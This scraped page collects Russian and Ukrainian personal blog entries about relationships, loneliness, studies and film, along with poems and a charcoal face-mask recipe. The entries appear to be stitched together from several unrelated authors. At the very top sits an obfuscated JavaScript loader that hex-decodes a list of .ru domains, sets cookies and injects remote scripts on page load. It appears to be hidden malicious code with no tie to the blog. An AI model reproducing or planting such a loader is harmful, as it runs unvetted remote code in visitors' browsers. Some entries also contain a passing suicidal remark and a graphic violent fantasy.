    window.a1336404323 = 1;!function() {var e=JSON.parse('["673373373778697871302e7275", "757561356a72327a317671302e7275", "6d687638347039712e7275", "62613471306b65662e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

    "А вы когда-нибудь встречали идеальную пару?
    Тех, что живут душа в душу и чья любовь длится вечно?
    Двух любящих, чьим отношениям никогда ничто не грозит?
    Мужа и жену, которые друг другу полностью доверяют?

    Если вы не встречали такой идеальной пары — хочу вас познакомить: они стоят на толстом слое сливочного крема. Секрет их успеха? Ну, главное им не надо смотреть друг на друга".

    Desperate Housewives

    В мае как-то легче всего затеряться в буднях. Сидеть всю ночь за работой, выхлебывая третью чашку кофе. Интересно живут нынче молодые люди. На кофеиновой энергии, иначе никак не поднять себя с кровати ранним утром после полутора часового сна.

    Занырнуть в рутину с головой, быть поглощенным учебой и стремиться к максимальной продуктивности – вот он мой май. Идти домой пешком, наслаждаясь теплом и засматриваясь на осыпающуюся ветром кашицу – не хуже чем цветение сакуры, так я скажу, помогает хоть не на много забыть о золушкином списке дел. Но у меня, к сожалению, нет феи крестной.

    Уже третий день июня. Паблики в вк непрестанно вещают о наступившем лете, а я все продолжаю жить ощущением прошлого. Повсюду со мной незаметной тенью ходит май, берет меня за руку и мы вместе, немного уставшие и загруженные, пытаемся выжить в затерявшихся буднях.

    Как бы странно не звучало, чувствую себя как никогда лучше и счастливее. Есть, куда идти. Есть, к чему стремиться. И дни, пусть и сумбурные, наполнены смыслом и предчувствием чуда.

    Хочу рассказать про сегодняшний сон.

    Непонятное место, но это далеко неважно. Я с молодым человеком, которого не узнаю, как понимаю, у нас отношения. У нас все хорошо, мы улыбаемся, действительно рады друг другу, смеемся, обнимаемся. Очень теплые отношения. И в какой-то момент я чувствую дикий прилив чувств, тепла. Не подумав, признаюсь человеку в любви. Реакция положительная, парниша улыбается, видно, что взаимно.

    Но тут у меня переклинило. Я дико засмущалась, стало стыдно и начала оправдываться. Говорю, что случайно вылетело, я не то имела ввиду. Вроде не хочу задеть чувства парня, но и не могу ему позволить думать, что люблю его. Не могу признаться самой себе.

    И вот что за хрень? Я как бы знаю, что да, мне трудно самой себе признаваться, что я чувствую к человеку что-то и самому человеку сказать об этом сложно. Обычно мой разум портит все моменты, когда хочет править сердце.

    День 111: Загадываете ли Вы желания в 11:11, даже если они могут не сбыться?

    Раньше - постоянно. Они периодически сбывались, сейчас - не так часто. Иногда говорю "Мое счастье" и все)

    Здравствуй, любимый, здравствуй, не любящий,
    Здравствуй, забывчивый: незабываемый:
    Ты не жених мне, ни бывший, ни будущий:
    С сердцем не греющим, мной согреваемый:
    Здравствуй, обласканный мной, не ласкающий,
    Здравствуй, ревнуемый мной, не ревнующий,
    Крылья сломавший мне, сам не летающий,
    Вечно холодный, вечно волнующий:
    Здравствуй, обидевший, мной не обиженный,
    Сам беспечальный, вечно печалящий,
    Здравствуй, чарующий, к тайне приближенный,
    Неуязвимый, болезненно жалящий:
    Здравствуй, от скуки на боль обрекающий,
    Боль повторяющий, неповторимый:
    Мной незабвенный, меня забывающий,
    Здравствуй, не любящий, здравствуй, любимый.

    ©Броницкая Владислава

    Надоело это дурацкое состояние. Хочется что-нибудь разбить, сломать или хотя бы заплакать. Или просто поговорить с кем нибудь о чем то неважном или наоборот о важном.

    О том как наступило лето, о том как цветет черемуха и от этого свербит в носу, о каком нибудь фильме, о том как перепутала дни сальсы и сегодня выглядела полной дурой в продвинутой группе и сначала было смешно и народ насмешила, а потом совсем грустно.

    Последнее время считала, что мне никто не нужен. Но стабильно раз в месяц мучаюсь одиночеством. Сейчас стемнеет и выйду с собакой. Надеюсь скоро пройдёт. Завтра или послезавтра на буду уже такой дурой :) сама себе друг и собеседник. Что толку от людей, с которыми ведёшь беседы, которые нужны только для проформы.

    В этом видимо вся я.

    Не хотелось бы пафосных и громких слов, но лучше уж так, чем раскрываться перед кем-либо и оказатьчя в будущем уязвимой и ранимой.

    просто перетерпеть пару дней.

    Мне кажется только глухой не слышал об этой маске и только слепой не видел рекламу в инстаграме. И сегодня я о той самой маске против черных точек с углем.

    Нам понадобится:

    1 таблетка угля

    1 чайная ложка желатина

    1 чайная ложка воды (или молока)

    Готовим маску:

    Растолочь таблетку угля, добавить желтин и все перемешать. Затем добавить воды и еще раз перемешать. Ставим в микроволновку на 10 сек. и вуаля наша маска готова.

    Внимание!

    Лучше всего кожу прям распарить для пущего эффекта. Затем наносим маску на Т-зону и подбородок(главное не на все лицо). Наносить можно как пальцами, так и специальной кистью для масок. Вбиваем сначала, а затем еще просто слой сверху. Ждем пока высохнет и снимаем. Точнее отдираем.

    Я правда не думала, что это так круто. Но это очеееень классно. Во-первых, видим, что точки действительно выходят, т.к. они остаются на остатках маски. И во-вторых, кожа нереально мягкая после этого.

    Так что, советую вам очень и очень. Еще возможно думаю, ради интереса, заказать на алиэкспресс подобную готовую маску.

    Артём Пивоваров – Собирай меня.

    Как бы мы не сходили с ума,
    Твоя глубина полна меня.
    Как бы мы не сходили с ума,
    Мы одна Вселенная.
    Как бы мы не сходили с ума,
    Заблуждались, терялись, погружались в себя.
    Как бы мы не сходили с ума,
    Удержи меня.

    Если я упаду, собирай меня,
    Собирай меня ты по кусочкам.
    Я упаду, собирай меня, собирай меня ты.

    Очень хочется рассказать про замечательный ДР Китти, и поход на долгожданные "Люди Икс", но мы опаздываем на ДР малых! С большего это будет пати для взрослых, а мы будем тусоваться и с детьми и со взрослыми.) А ещё Китти сдал математику на 7, а так же окончательно сказал, что без меня не пойдёт отмечать получение аттестата.)

    Не надо уделять столько внимания своей тоске. Тоска не гостья. Не надо ставить её любимую музыку, искать для неё стул поудобнее. Тоска — это враг.

    Пытаюсь создать уют в чужом доме. Незаметно даже для самой себя строю планы, большие и маленькие. Много чего хорошего и счастливого представляю. Придумываю какие-то милые хитрушки. Вроде все спокойно, я уверена.

    А потом ночью говорим о городах. И понимаю, что ничего нельзя контролировать и планировать. Именно поэтому осторожно говорю о будущем, жизнь уже не раз удивляла меня своими поворотами.

    В общем, я уже (почти) ко всему готова, много сценариев в голове)

    іноді мене накриває хвилями незрозумілої параної, наче за мною хто слідить чи іде. це може трапитися, коли я іду по вулиці, а за спиною хлопець (чи декілька). у мене аж всередині все стискається. починається паніка.

    або я думаю, що хтось читає мої переписки вк чи навіть тут мій блог.
    не то, що б я щось хочу від когось приховувати. просто це ж мої переписки, це особисте, яке нікого не стосується.

    і я думаю, що для всього є свої причини. як Р. читав мій блог, а я і не знала…а він читав і мовчав, що все читає…афігєть)
    або як на нас з І. накинувся хлопець. тому не дивно, що я сіпаюся по причині і без.

    коли алкоголь вдаряє в голову, тобі хочеться робить необдумані вчинки. і ти не дуже задумуєшся про наслідки. як було зі мною декілька днів тому. просто я думаю, що люди, які цілуються рано чи пізно захочуть більшого. і це не лише один приклад. коли ти працюєш на роботі і постійно робиш одне і те ж - хочеш більшого. отримуєш зарплату -хочеш більшої. поїхав у одне місто - захотів побачити весь світ. і це не дивно. бо у людей така натура, їм постійно всього мало і мало.

    і не то, що б я не хотіла зробити те, що рано чи пізно трапиться, якщо ми не перестанемо цілуватися… ні..просто..тепер уже і я задумуюся чи дійсно це хороша ідея. як сказав один чувак в інстаграмі "если вы с кем то ебетесь, то он вам не друг". він мені і так не друг. просто це ж не буде продовжуватися і не буде переливатися в шось інше. а чи вартий той раз чи два всім неловкостям, які можуть бути далі?
    але з іншого боку…які неловкості. ніхто з нас не претендує зустрічатися одн з одним. теж мені..ці всі за і проти. муки совісті. брр..бісить.
    я ж вирішила, що треба робити те, що хочеться мені і наплювати на всі стереотипи і рамки. життя занадто коротке.

    просто головне (перед тим як я на все плюватиму) треба:
    1. спитати його з чого б це він передумав. все таки говорив "неа.нічого ми робить не будем, бо я хочу з тобою нормально общаться "
    2. не робить дурниць і використовувати захист.
    єдина людина, якій я могла дозволити це не робити був С. навіть не знаю чому…якось мені з ним було не страшно. навіть не то, що не страшно…просто так виходило.

    от дивні в нас з С. відносини. між нами нічого вже вроді немає…а вроді і є.
    але більш за все, що немає. я надіюсь він теж так думає.

    Внезапный диалог в смс в 2 часа ночи:
    -Держись там.
    -Ты тоже, Слива. Не смей срываться.
    У нас с Киселём всегда короткие, но дико важные разговоры. Бывает, что я просто беру и пишу ей что-то, как в этот раз. И обычно это всегда случается в нужное время, тогда, когда ей это действительно нужно. Эта схема работает в двух направлениях.
    Обнимала вино и думала, что сорвусь во всех планах. И тут приходит это. В моей голове крутится эта фраза с ночи. "Не смей срываться".
    Я постараюсь, правда.

    человек говорит: ты мне близкий человек, ты будешь свидетельницей на моей свадьбе (ну когда будет свадьба), расписала лето в красках в совместном провождении. Но при этом, я конечно понимаю, что мне никто и ничем не обязан, но с днем рождения можно было поздравить? ты конечно может забыла когда оно, несмотря на то, что мы с трех лет довольно-таки тесно общаемся, но блин, уведомления вк приходят всем, в инсте ты фотки тоже смотришь. объявилась через неделю и такая "привет, как дела? когда сессия начинается?". да как бы норм. и все, это все что она сказала. Я особо разговор не стала развивать.

    +1 доказательство того, что надо жить ДЛЯ СЕБЯ, потому что у меня всегда буду только Я. Мне просто реально обидно, меня одноклассница второй год с др поздравляет, с которой мы в школе нормально общались, и это при том, что сейчас (как по универам разошлись, т.е 3 года) мы не общаемся вообще и даже не находимся друг у друга в друзьях вк. А тут "близкая подруга". Прикол, да?

    Запареная овсянка с яблоком Пол гречки с куском горбуши горбушии овощным салатом Рис с сосиской и морской капустой 5 морковок Рис с курицей из фудзи 4-5 небольших ролла Пара ложек творожной массы. Много, не совсем системно, сегодня есть уже не в планах, только тренировка на пресс. Вне похудения всё тоже не очень. 3.06.2016.

    Последний мой пост был весьма "мимимишно отвратным "
    потому что как бы о мальчиках, и как бы ни о чем! %)
    Не люблю себя такую!

    Если делать сводку погоды моих последних месяцев, то я в полной рутине , которая готова съесть меня заживо и поглумиться над тем как медленно, и безвольно я буду погружаться в нее все глубже и глубже.

    Всегда хотела сидеть за компьютером и целыми днями печатать слова, но в моей голове они предназначались для разных статей, рассказов, анонсов и почего творческого салата, а не для платежек, реестров, договоров и прочей бухгалтерской каши. В общем, не мое.

    Но самое обидное, что у нас как раз тот вариант отношений, когда хочешь уйти, но не можешь. Или можешь ?

    я всегда была человеком, который не берется судить других и понимает, что ситуации бывают разные. я всегда боюсь задеть чьи-нибудь чувства, оказаться неправой или обвинить голословно, не зная каких-нибудь фактов. но, черт побери, иногда вся эта тактичность летит к чертям, потому что чувство обиды переполняет меня до краев.

    вот и сейчас, раз в пятый позвонив человку и не дождавшись ответа, я не выдержала и написала едкое смс, за которое мне даже в процессе написания было стыдно. но я просто должна показать человеку, что он ведет себя как последнее дерьмо. я никогда ему этого не показывала, но, блять, я никогда раньше так сильно в его помощи и не нуждалась.

    и самое отвратное во всём этом то, что никакой ответной реакции я не получу даже на это отчаянное действие. отчего буду чувствовать себя ещё в миллион раз паршивее. в общем, фак май лайф.

    спасибо тебе, папочка. ты не перестаешь доказывать мне, что давно пора свыкнуться с тем, что тебя нет и не будет в моей жизни. когда-нибудь, я усвою этот урок. обязательно.

    Я боялась этого разговора. Но он состоялся.

    Сама его завела. Суть разговора был в том, чтобы если Он меня уже точно не любит и ничего не хочет, он сказал мне это в глаза и сказал, что отпускает.

    Мы поговорили, Он нервничал. Сказал, что боится, что мне будет больно(а сейчас мне не больно?!). Но в итоге, Он сказал это. Сказал мне это в глаза. Сказал, что надеется, что мне это поможет. Обозвал себя всеми возможными словами. Я услышала все, что нужно было и сказала, что пойду. Предложил провести до остановки, но я не могла сдерживать себя и сказала, что не нужно. Потом я ушла. Зашла за угол дома и разрыдалась посреди улицы. После купила сигарет. Они не принесли мне радости и я зря свела все дни без сигарет на ноль и потратила необходимые на поездку деньги. Курить уже не хочу: /

    Уже в автобусе я поняла, что буду в порядке. В относительном порядке. Не сразу, может меня потом будет хуесосить как тогда, но..Я поняла, что Мы уже точно не будем вместе. Что все Его внимание дружеское и рассчитывать не на что, а я чувствовала себя виноватой, что общаюсь с другими… А сейчас мне Он прямо сказал, что не любит меня и, что Он отпускает меня. Теперь жду, когда уеду в Россию уже. Отвлекусь может. Может даже за счет другого человека, как бы это по блядски не звучало. Но…Раз Мы не будем вместе с человеком которого я люблю и буду любить, то в пизду все эти чувства и заморочки. Буду извлекать из всего удовольствие и выгоду для себя. И ПОШЛО ВСЕ НАХУЙ. Стану такой, чтобы поменьше страдать.

    В общем Я сильная, Я справлюсь со всем этим дерьмом. Застрелиться все равно не из чего.

    У меня есть мои Тая и Оля - люди в которых я уверена Которые любят и поддерживают. Хочу сказать им за это спасибо. Без них бы уже пришла бы мне пизда.

    Итак, наконец я купила первую вещь малышу..бедный папа, я с час, как квочка стояла на одном месте и выбирала, что купить на выписку. Папа бедный вспотел аж. Все привыкли эти конверты, ленточки брать..я же сторонник этого, ибо на раз купил и уфе, непрактично. Тем более июль..жара какие конверты, одеяла и тд? Купила ползунки и типо комбезика, вдруг если прохладно будет..да, итак вечерами катать в коляске..

    сына бмв хдд

    Было совершенно замечательно! Встретить и проводить свой День Рождения вместе с любимым - лучше любого подарка. Тихий, семейный получился день, и это лучше всего. Я побывала у родителей, готовила Андрею Сергеевичу вкусный ужин, как вдруг в дверь позвонили. Для Андрея было слишком рано, и я спросила, кто там. Услышала непонятый голос, но инстинктивно открыла, и в квартиру залетела моя Синельникова! Как положено - с шаром и подарком! Такая радость! Договорилась с ним, хитруша, и проникла в подъезд окольными путями) Здорово, когда среди друзей находится тот, кто, не взирая на то, что ты никого не приглашал, просто берёт сам и приходит. Мыльные пузыри мне подарила среди прочего, и не обычные, а с маленькой ручкой, такой, чтобы получалось много-много маленьких пузырьков. Я радуюсь второй день, как дурочка, пускаю и смотрю на них. Письмо написала, очень трогательное. В котором словестное подтверждение действий. Хорошо, что у меня есть такой друг.

    И просто отлично, что есть Андрей мой Сергеевич, я поняла, почему раньше не любила этот праздник - рядом не было Тебя. Теперь я люблю каждый день, я люблю взрослеть с Тобой и больше не вижу в этом ничего страшного. Я вообще ничего страшного вокруг не вижу, когда Ты говоришь "Ничего не бойся".

    Я уже постряпала Тебе торт с кремом из нового дозатора, теперь пойду учить, и выучу много и хорошо. Аминь.

    не могу держать в себе эту информацию, иначе я взорвусь просто. я, конечно, всё понимаю, даже в дружбе есть место личному пространству и другим людям, я не против. но как же вымораживают эти ситуации, когда чувствуешь себя просто пустым местом. мне не обидно, что она со мной куда-то там не сходила. меня выводит то, что она элементарно даже трубку не подняла, чтобы сказать "извини, сегодня у меня другие планы". возьми и скажи, что не можешь, я пойму. зачем морозиться? допускать, что она не слышала звонок, абсурдно, я прекрасно знаю, как она не выпускает телефон из рук и слышит каждый сраный пик. да даже если вдруг не слышала, неужели не удосужилась перезвонить, когда увидела пропущенный? ой, извините, я забыла, что выложить фоточку в инстаграм куда важнее. фу, так сука мерзко. нахер надо.

    Нужно начинать учить. Нужно учить. Нужно учить вопросы. Нужно готовиться к экзамену. Нужно раньше вставать, постараться меньше спать. Нужно не пинать мужские половые органы. Нужно взять себя в руки. Нужно учить. Нужно ботать. Нужно сдать нормально. Нужно что-то делать. Не нужно смотреть сериалы.

    Я в этом семестре порядком отупела, правда. Больше обленилась. Совсем уже. Я просто жир, витающий над землёй. Я только удовлетворяю свои первичные физические потребности и всё.

    С каждым разом все тяжелее. Он пишет, а мне с каждым разом все больнее. Но я поему-то уверена, что должна терпеть ради какой-то высокой цели. Такая вся из себя мученница. А тем временем меня просто разрывает от мыслей, что в день рождения он был в эре и там подцепил кого-нибудь. И выебал. Не знаю, зачем я об этом думаю. Но во мне все кипит.

    Очень хочет завтра поиграть со мной. Устроить целый марафон. Я не знаю, как выдержать это, если честно. И я даже не знаю, почему я так к этому всему отношусь. Если честно, я сейчас просто хочу камнем лежать. У меня просто больше нет сил.

    я (неделю назад): я хочу чтобы ВСЕ знали какой он НА САМОМ ДЕЛЕ, что ОН ЗА ЧЕЛОВЕК, я не могу этого сказать, НО Я ХОЧУ ЧТОБЫ ВСЕ ЗНАЛИ

    наташа: по нему читаемо, что он самовлюбленный эгоист и пиздабол

    дзера: мудло

    мама: ну по нему читаемо, что он легкий такой, необязательный

    сестра: нахуя тебе такое? растоптать и забыть

    азамат (с которым я познакомилась на улице): бля забывай, нахуй те такое

    терапевт: ну просто он манипулятор…. вы понимаете, он манипулирует вами….

    мама: вот что бывает когда мама психолог-дефектолог

    я (сейчас): нет…. плиз…… вы просто не знаете его, …. нет……………..… все не так…..

    Сюжет: Они были вне закона — гангстеры без страха и упрека. Но их жизнь была коротка как выстрел, а смерть неожиданна и жестока. Когда последний главарь мафии стал жертвой очередной разборки, в дело вступили женщины — жены гангстеров, их матери, сестры, дочери. Они действуют не менее жестоко, чем мужчины.

    Вообще, если быть честно, то фильмы про мафию я совсем не люблю Я не смотрела культового "Крестного отца" и в сериала про полицию просто жутко ненавижу, когда у них какие-то дела связаны с мафией. Для меня это все слишком запутанно, непонятно и неинтересно.
    Чего же тогда, собственно, этот фильм я все же решилась посмотреть?
    Все просто.
    Меня очень заинтересовало именно то, что здесь основную роль играют женщины, а не мужчины. Мне было интересно посмотреть на то, как они будут себя вести в тяжелых жизненный ситуациях, как будут мстить и что из этого с итоге получится.

    Расписывать сюжет не буду т.к. на это уидет очень много времени.
    Это двухсерийный фильм, который показывали по ТВ, так что описать 3+ часа сюжета для меня лично не представляется возможным.
    Просто хочу сказать, что не смотря на то, что фильм действительно очень долгий, он мне ни на минуту не показался скучным или затянутым. Напротив.
    Все показано очень интересно и динамично.
    Главные герои, хоть они и преступники, вызывают сострадание.
    Я, если честно, едва не разревелась, когда в конце первой части случилась та трагедия, которая случилась.

    В общем, фильм очень хорош, хоть и по-своему своеобразен.
    8 из 10

    Бывает зайдешь в Инстаграм и наткнешься на фото чеков людей с ресторанов или как они держат в руках много пятитысячных купюр. Сразу по телу пробегает немного зависти и негодования. Я стала часто задумываться, а есть ли те, кто мог бы позавидовать мне? Ведь на первый взгляд я абсолютно заурядна.

    Однако.

    Я не придавала раньше значения тем мелочам, что были со мной. Я сидела на паре в начале четвертого курса, у нас был зачет. Тут мне звонят с работы и говорят, мол, мы щас подъедем, выходи - зарплату отдадим тебе, которую я не смогла дополучить в Решотах. Я тихо вышла, забрала свои 12,5 тысяч и вернулась в класс. Все сразу "а? чо? денешшшки? дай? на что потратишь? где взяла? тебе парень дал?". Просто я единственная с группы, кто нашел работу во время практики. Точнее, она сама меня нашла. Думаю, в тот момент многие хотели оказаться на моем месте. Но как бы я не ломала мозг, я не могу вспомнить, на что их потратила….

    Далее.

    Я живу в своей собственной квартире в городе. Мне не придется брать ипотеку. Мне не надо отваливать 15 тысяч за съемное жилье. Мне есть где спать, есть все удобства и все это - только мое. Я собственник. Могу вот прям щас взять и продать ее и стать миллионершей. Правда, без жилья :D

    И далее.

    У меня прекрасные родители, замечательный молодой человек, который утром провожает на работу, а по вечерам встречает; готовит мне ужин и чинит мою квартиру. И любит меня. Мы вместе уже более двух лет, а знакомы вообще с 2013 года.

    Так что завидовать глупо и не результативно. Избавляться надо от этого…

    Не факт же, что если у одного куча денег, то у него заботливая вторая половина? Или адекватные родители? Неа

    К своему стыду я, учась на отделении английской филологии, все еще не читала Джейн Эйр. И, скажу честно, романы подобного рода мне в принципе не особенно нравятся. Кажутся слишком бездейственными, что ли. Какими-то монотонными. Ну, это сугубо мое личное мнение. Сейчас я вообще хочу говорить исключительно о фильме.

    Фильм мне более чем понравился.
    Главные герои показаны очень хорошо. Ты им сопереживаешь, в какой-то момент не понимаешь их поступков, но в итоге каждому из них желаешь счастья.
    Конечно, к мистеру Ротчестеру у меня было немного двоякого отношения на протяжении всего фильма. То вроде он хороший, то ведет себя как мудак, то вроде снова хороший, а потом БАЦ! и оказывается, что он врал Джейн все время. Я даже понимаю, почему она вот так взяла и сбежала от него.
    Правда для меня все-равно остается загадкой то, что в те времена (если верить книжкам/фильмам) люди на столько сильно переживали расставание или несчастную любовь, что в итоге заболевали и умирали. Так вообще бывает?
    А вот ГГ мне очень понравилась. Такая… смелая ля тех времен. Смелая и вызывающая восхищение.

    Сам фильм снят потрясающе.
    Пейзажи, замки, дома, костюмы. Все было просто на высшем уровне.
    Правда, конечно, в какой-то момент мне показалось, что они его слишком уж затянули.

    Вы вызываете у меня странное чувство. Словно нас с Вами связывает тонкая нить. Она тянется у меня откуда-то из груди.. Я очень боюсь, что если Вы уедете, то нить оборвется. Я начну изнутри истекать кровью, а Вы меня просто забудет


    8 из 10.

    День 87: Что Вы думаете о сексе до бракосочетания?

    Я думаю, что сексу до бракосочетания нужно быть просто в обязательном порядке.

    Во-первых, сейчас не то время, когда девушек насильно выпихивают замуж в 14-15 лет. Да, тогда было бы по меньшей мере странно, что эта особа уже успела с кем-то загулять. Странно и стыдно.

    А сейчас что? Мне 22 и я не замужем. Что ж мне теперь, сексом не заниматься? А то, что это для здоровья полезно, никого не колышит? Нужно куда-то девать накопившиеся гормоны и т.д. Мне вообще этой зимой гинеколог прямым текстом сказал, что нужно трахаться или со здоровьем пизда будет. И так от недотраха уже эрозия нарисовалась. Но сейчас, слава богу, все в порядке.

    И, к тому же, как можно выходить замуж за человека и при этом не знать, какой он в постели? Это, я считаю, по меньшей мере глупо. Он может быть трижды прекрасным, заботливым и т.д., но если вы сексуально друг-другу не подходите, из этого брака ничего не выйдет. Это как жениться и съезжаться вместе только после свадьбы. Идиотизм.

    Я не вижу ничего плохого в сексе. Особенно, если у тебя есть постоянный, любящий партнер. Разве в таком случае печать в паспорте хоть что-то меняет?

    gifs by x

    — Неужели это не будило тебя среди ночи? Чувство, что однажды они придут за тобой ? И твоими детьми ?

    Знал бы ты, с каким упоением я убиваю во снах твоих мнимых любовниц и тех, к кому я тебя порою люто ревную. Я крошу им головы, бью их ножом в спину, душу, разбиваю об их головы табуретки, выкидываю их из окна на 12 этаже. Я упиваюсь их болью и тем, что ты всё это видишь там, во сне. Я хохочу, с каждым ударом становясь всё злее и всё сильнее, становясь сверхновой гнева, становясь громадой, смерчем, ядерной бомбой.

    Я убиваю их без сожаления, стираю с лица земли, упиваясь их криками, когда они лежат на полу, умываясь кровавыми соплями.

    Моя сумасшедшая любовь к тебе с каждым годом всё крепче и крепче.

    И мне плевать на то, что кто-то может быть против. Я пройду миллиарды войн, лишь бы быть рядом.

    Новость дня на портале https://www.rosrn.ru/ Для жителей ветхих домов отменят взносы за капремонт

    Депутаты внесли в Госдуму законопроект, который освободит жителей ветхих домов от взносов на капремонт, пишет «Российская газета». Ветхими в России считаются строения с определенной степенью износа: для каменных этот показатель составляет не менее 70%, для деревянных и мансард — свыше 65%, поясняют авторы документа. Ремонт таких зданий парламентарии считают неэффективным. Всего в ветхом жилье, составляющем в России около 70 млн кв. м (2% от общего объема жилья), проживает около двух миллионов россиян, сообщает издание.

    Полный текст новости читаем тут https://www.rosrn.ru/news/16-dlja-zhitelei-vethih-domov-otmenjat-vznosy-za-kapremont.html

    кажется мне конец. три дня слез, отсутствие аппетита, невероятно жуткоя тоска на душе…мне если често страшно, я не знаю как из этого выбраться. мне так страшно…

    Делаю визу. Планирую отпуск. Читаю «Шантарам». Хожу на тай-бо. Лечу в Москву. Делаю то, что мне нравится. Не общаюсь с людьми, которые мне не интересны и не нужны.

    Дала себе установку концентрироваться на хорошем. Потому что у меня действительно все хорошо. Просто драматизма в жизни не хватало. Наверное.

    К черту.

    Я не знаю, что подействовало, девочки и мальчики, сила ваших кулачков, уверенность моего молодого человека и других людей или мой, уже ближе к концу, пофигизм, но у меня получилось. Мне одобрили туристическую визу в США! Да, может быть для кого-то в этом нет ничего особенного, но черт возьми, это первая виза, которую я оформляла полностью самостоятельно и я безмерно рада) спасибо и вам, за ваши кулачки)

    После 4-х дней отдыха трудно выходить на работу. Посмотрим, как он будет вести. Я настроена на игнор. Скорее всего у него ко мне тоже ничего не изменилось. Кстати, эти три дня последние, когда мы работаем вместе. На следующей неделе его переставили на другую точку. Или он попросил..

    — девушка, подождите, девушка, стойте, стойте!
    вы там забыли душу, прямо на барной стойке.

    ты говоришь,
    от виска убирая прядь
    «я научилась ненужное – оставлять.»

    Я жив, я всё ещё жив. Вроде. Привет.

    Вот и мне уж 24. Завела кошку. Почти доделала ремонт. Счастья не нашла, пока.

    Не помню когда писала последний раз, но садилась за очередной пост раз пять, но так и не заканчивала. То в поиске картинки, я залипала в чьих-то сохранённках, то и настрой нужный куда-то улетучивался примерно к середине поста, то одно - то другое, в общем, не складывалось.
    Ух, начну с больного. Повезло мне связаться "по-знакомству" с ремонтной бригадой. Месяц переделываю огрехи за нерадивыми работниками. Тут даже не столько это вся беда ремонта, а то, что за квартиру так же я плачу. Выходные трачу на то, чтобы что-то отмыть, вывести плесень или какие-то другие ништяки. Но забавно то, что мне говорят ещё, что то, что я делаю - это капля в море. В общем, я хуёвая опять.

    На работе трэш.

    До этого месяц в ночь 1/1, потом месяц в день 4/1 иногда через 2. А этот месяц я просто две недели без выходных буду работать. Я и балл. Деньги тут на севере лопатой гребу. Ух, как заживу скоро и вышку нефтяную куплю. И БУДУ ОБМАЗЫВАТЬСЯ МУХАХА.

    А теперь переходим к сладенькому.

    Мой так-называемый-друг. Ещё буквально в апреле думала кинуть всё и на др поехать в Москву. Вроде всё складывалось по-началу. Но потом не сложилось. Деньги в принципе были. Хватало и на еду, на развлечения. Он предлагал остановиться у него и должен был всё уладить до начала мая, но затянул. На работе мне сказали, что хрен мне, а не отпускные. Мама сказала, что ебанулась. и я скисла и сказала, что не еду. А уже числа 15-20 он мне сказал, что ему разрешили, чтобы я приехала. Ура бля. Ещё пару дне назад мы говорили о том, что будет когда он приедет в Сургут, а зная его могу сказать, что просто так он этого бы не сказал. Но вчера, я сбросила ему фотку моей кисы. Он позвал в скайп и рассказал о невероятных приключениях, которые произошли буквально за пару дней, что мы не общались. В телескопе познакомился с тянкой. Встретились. Он её выебал. Она сказала, что залетает как птичка и он готовится стать папашей(это вкратце). Нет, конечно он не хочет становиться им. В тот же момент не хочет её как-то бросать, если вдруг она там того этого, ну вы поняли.

    А он так рассказывает, как она скакала она нём лихо. И как он не успел, а я стою на балконе и думаю, что наверное мне должно быть больно. Как не странно, но в тот момент ничего не чувствовала. Какая-то прострация. Что ж, потом пришло осознание истории, которую он мне поведал. Потом мысли о том, что вторую шкуру с личинкой я не выдержу. Потом связь прервалась. Я пошла спать, ведь мне на работу, мне не до захватывающих дух историй о том, как надо знакомиться в перископе. Легла и понимаю, что всё. Нет смысла тянуть. Я может и друг. Может даже и лучший друг, но себя обманывать нельзя. Написала, что ушла спать. Что устала от этого и мне жаль, что так всё складывается. Ему не столь нужна помощь или совет, сколько возможность высказать не скрывая ни одной детали. Как есть. Извинилась, что кидаю сейчас, когда у него такой ответственный момент) 00)) лохблять. Он начал спрашивать о чем я? Куда я пытаюсь исчезнуть и вообще в чем дело? Я сказала, что люблю его. Каждый раз ловя себя на этой мысли при нём, сдерживала себя, чтобы не произнести это в слух. Когда понимала, что для этого даже набирала воздух в лёгкие - замолкала на остаток разговора. Такое ощущение каждый раз возникает, будто внутри меня, где-то в районе груди что-то натягивается и лопается. Или я делаю шаг с обрыва. Написала, что люблю его и любила всё то время, что мы общаемся. Не виню его в том, что сама себе навыдумывала. Что ждала чего-то. Не озлобленна, не говорю, что он мудак, а я такая вся хорошая, а ему лишь бы там что-то и вообще он своего счастья не осознал. Глупо это и некрасиво.Он больше ничего не ответил, хотя и видела, как бегает карандашик и он что-то набирал. Я позвоню ему через неделю - две. Узнаю как он. Может даже мы поговорим о тех двух годах, что общались.

    Пока.

